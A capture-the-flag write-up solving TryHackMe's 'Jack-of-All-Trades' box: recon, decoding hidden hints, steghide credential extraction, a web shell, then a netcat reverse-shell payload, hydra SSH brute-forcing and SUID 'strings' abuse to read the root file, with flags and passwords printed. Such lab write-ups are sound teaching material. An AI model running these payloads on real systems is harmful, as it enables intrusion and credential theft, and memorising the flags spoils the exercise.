TryHackMe-Jack-of-All-Trades

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Jack-of-All-Trades

Boot-to-root originally designed for Securi-Tay 2020

Jack is a man of a great many talents. The zoo has employed him to capture the penguins due to his years of penguin-wrangling experience, but all is not as it seems… We must stop him! Can you see through his facade of a forgetful old toymaker and bring this lunatic down?

Recon

Nmap

22/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Jack-of-all-trades!
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
|   2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
|   256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_  256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)

Interestingly, standard ports for SSH and HTTP have been changed/mixed. HTTP is available on port 22 while SSH is served by port 80. Chances are that you will get an error message if you try to browse the website in Firefox (due to a security feature). To bypass the security protection, enter “about:config” in the URL and type “network.security.ports.banned.override” in the search. Create/edit the value by adding 22 to the string.

Web (port 22)

Home page

$ curl -s http://10.10.216.6:22/
<html>
        <head>
                <title>Jack-of-all-trades!</title>
                <link href="assets/style.css" rel=stylesheet type=text/css>
        </head>
        <body>
                <img id="header" src="assets/header.jpg" width=100%>
                <h1>Welcome to Jack-of-all-trades!</h1>
                <main>
                        <p>My name is Jack. I'm a toymaker by trade but I can do a little of anything -- hence the name!<br>I specialise in making children's toys (no relation to the big man in the red suit - promise!) but anything you want, feel free to get in contact and I'll see if I can help you out.</p>
                        <p>My employment history includes 20 years as a penguin hunter, 5 years as a police officer and 8 months as a chef, but that's all behind me. I'm invested in other pursuits now!</p>
                        <p>Please bear with me; I'm old, and at times I can be very forgetful. If you employ me you might find random notes lying around as reminders, but don't worry, I <em>always</em> clear up after myself.</p>
                        <p>I love dinosaurs. I have a <em>huge</em> collection of models. Like this one:</p>
                        <img src="assets/stego.jpg">
                        <p>I make a lot of models myself, but I also do toys, like this one:</p>
                        <img src="assets/jackinthebox.jpg">
                        <!--Note to self - If I ever get locked out I can get back in at /recovery.php! -->
                        <!--  UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg== -->
                        <p>I hope you choose to employ me. I love making new friends!</p>
                        <p>Hope to see you soon!</p>
                        <p id="signature">Jack</p>
                </main>
        </body>
</html>

The main page discloses several files but we will analyze them later: * /assets/stego.jpg * /assets/jackinthebox.jpg * /recovery.php

We are also provided with a user (Johny Grave) and a password in a base64 encoded message:

$ echo "UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVu
Y29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg==" | base64 -d
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq

Assets

The pictures from the home page are interesting. Stego.jpg is a sign of steganography. However, it doesn’t reveal any secret. But the banner (header.jpg) reveals an interesting thing (use u?WtKSraq as passphrase):

$ steghide info header.jpg 
"header.jpg":
  format: jpeg
  capacity: 3.5 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "cms.creds":
    size: 93.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

Let’s extract the credentials:

$ steghide extract -sf header.jpg 
Enter passphrase: 
wrote extracted data to "cms.creds".
$ cat cms.creds 
Here you go Jack. Good thing you thought ahead!

Username: jackinthebox
Password: TplFxiSHjY

Recovery page

As far as the recovery page, this is an authentication page that discloses another encoded message.

$ curl -s http://10.10.216.6:22/recovery.php

<!DOCTYPE html>
<html>
        <head>
                <title>Recovery Page</title>
                <style>
                        body{
                                text-align: center;
                        }
                </style>
        </head>
        <body>
                <h1>Hello Jack! Did you forget your machine password again?..</h1>
                <form action="/recovery.php" method="POST">
                        <label>Username:</label><br>
                        <input name="user" type="text"><br>
                        <label>Password:</label><br>
                        <input name="pass" type="password"><br>
                        <input type="submit" value="Submit">
                </form>
                <!-- GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=  -->
                 
        </body>
</html>

To decode the secret: base32 > hex > ROT13.

$ echo "GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=" | base32 -d | xxd -r -p | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S 

#1 - User Flag

In the browser, authenticate in the recover.php page with jackinthebox:TplFxiSHjY. You will be redirected to /nnxhweOV/index.php that shows the following message:

GET me a 'cmd' and I'll run it for you Future-Jack. 

We now have a web shell:

CTF-TryHackMe-Jack-of-All-Trades-webshell.png

Let’s make a reverse shell; first open a listener:

$ rlwrap nc -nlvp 9999

Now, send the following payload:

http://10.10.216.6:22/nnxhweOV/index.php?cmd=nc%20-e%20/bin/bash%2010.11.9.81%2080%209999

In our reverse shell:

$ rlwrap nc -nlvp 9999

ls
index.php

cd /home

ls
jack
jacks_password_list

wc -l jacks_password_list
24 jacks_password_list

cat jacks_password_list
*hclqAzj+2GC+=0K
eN<[email protected]^zI?FE$I5,
X<(@zo2XrEN)#MGC
,,aE1K,nW3Os,afb
ITMJpGGIqg1jn?>@
0HguX{,fgXPE;8yF
sjRUb4*@pz<*ZITu
[8V7o^gl(Gjt5[WB
yTq0jI$d}Ka<T}PD
Sc".[[2pL<>e)vC4}
9;}#q*,A4wd{<X.T
M41nrFt#PcV=(3%p
GZx.t)H$&awU;SO<
.MVettz]a;&Z;cAC
2fh%i9Pr5YiYIf51
[email protected](]hBO
v]XBmwAk8vk5t3EF
9iYZeZGQGG9&W4d1
8TIFce;KjrBWTAY^
SeUAwt7EB#fY&+yt
n.FZvJ.x9sYe5s5d
8lN{)g32PG,1?[pM
[email protected]%[email protected]
ow5APF>6r,y4krSo

Now, let’s crack the password with hydra:

$ hydra -l jack -P jacks_password_list -s 80 10.10.216.6 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-31 18:10:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 24 login tries (l:1/p:24), ~2 tries per task
[DATA] attacking ssh://10.10.216.6:80/
[80][ssh] host: 10.10.216.6   login: jack   password: ITMJpGGIqg1jn?>@
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-31 18:10:09

We have found jack’s password: ITMJpGGIqg1jn?>@; let’s connect:

$ ssh [email protected] -p 80
[email protected]'s password: 
[email protected]:~$ whoami
jack
[email protected]:~$ pwd
/home/jack
[email protected]:~$ ls -la
total 312
drwxr-x--- 3 jack jack   4096 Feb 29 20:34 .
drwxr-xr-x 3 root root   4096 Feb 29 19:45 ..
lrwxrwxrwx 1 root root      9 Feb 29 19:34 .bash_history -> /dev/null
-rw-r--r-- 1 jack jack    220 Feb 29 19:31 .bash_logout
-rw-r--r-- 1 jack jack   3515 Feb 29 19:31 .bashrc
drwx------ 2 jack jack   4096 Feb 29 20:34 .gnupg
-rw-r--r-- 1 jack jack    675 Feb 29 19:31 .profile
-rwxr-x--- 1 jack jack 293302 Feb 28 19:38 user.jpg
[email protected]:~$ 

There is no flag but a picture (user.jpg) in which we can see the flag:

CTF-TryHackMe-Jack-of-All-Trades-user-flag.png

User flag: securi-tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}

#2 - Root Flag

Hint: /root/root.txt

Jack is not in the sudoers but there are interesting programs owned by root with the SUID bit set:

[email protected]:~$ sudo -l
[sudo] password for jack: 
Sorry, user jack may not run sudo on jack-of-all-trades.
[email protected]:~$ find / -type f -user root -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/strings
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/procmail
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su

strings allows to read strings from files. We should be able to read the root flag (we know the flag path from the hint):

[email protected]:~$ strings /root/root.txt
ToDo:
1.Get new penguin skin rug -- surely they won't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}

Root flag: securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}